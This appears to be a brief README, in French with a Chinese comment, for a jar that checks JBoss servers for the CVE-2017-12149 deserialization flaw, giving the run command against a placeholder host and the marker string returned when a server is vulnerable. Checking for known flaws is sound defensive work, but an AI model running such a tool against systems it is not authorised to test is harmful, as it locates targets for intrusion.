
CVE-2017-12149 jboss désérialisation avec écho

verify_CVE-2017-12149.jar fournit un mode en ligne de commande pour vérifier la vulnérabilité. Si la vulnérabilité existe, il renvoie une chaîne caractéristique. Il suffit d'exécuter la commande :
$ java -jar verify_CVE-2017-12149.jar http://xxx:8080
#成功返回:
vuln6581362514513155613jboss
